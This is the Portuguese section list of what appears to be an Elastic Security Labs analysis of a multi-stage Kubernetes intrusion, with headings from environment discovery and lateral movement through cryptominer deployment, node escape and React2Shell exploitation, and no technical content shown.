Etapa 2 – Descoberta do ambiente Kubernetes

Estágio 3 – Movimento lateral via kube.py

Etapa 4 – Estabelecendo persistência via Systemd

Etapa 5 – Instalação de ferramentas em tempo de execução

Etapa 6 – Estabelecimento de tunelamento e acesso por proxy

Etapa 7 – Execução da carga útil codificada

Etapa 8 – Implantação e execução do minerador

Etapa 9 – Escalada para o Controle do Nó

Etapa 9.1 – Reconhecimento e Abuso de API

Etapa 9.2 – Elevação de privilégios e manipulação de carga de trabalho

Estágio 9.3 – Fuga em Nível de Nó

Etapa 10 – Exploração do servidor web via React2Shell

Integrando tudo com a descoberta de ataques

Conclusão

Ir para a seção

Boletim informativo do Elastic Security Labs

Compartilhe este artigo

Estágio 3 – Movimento lateral via `kube.py`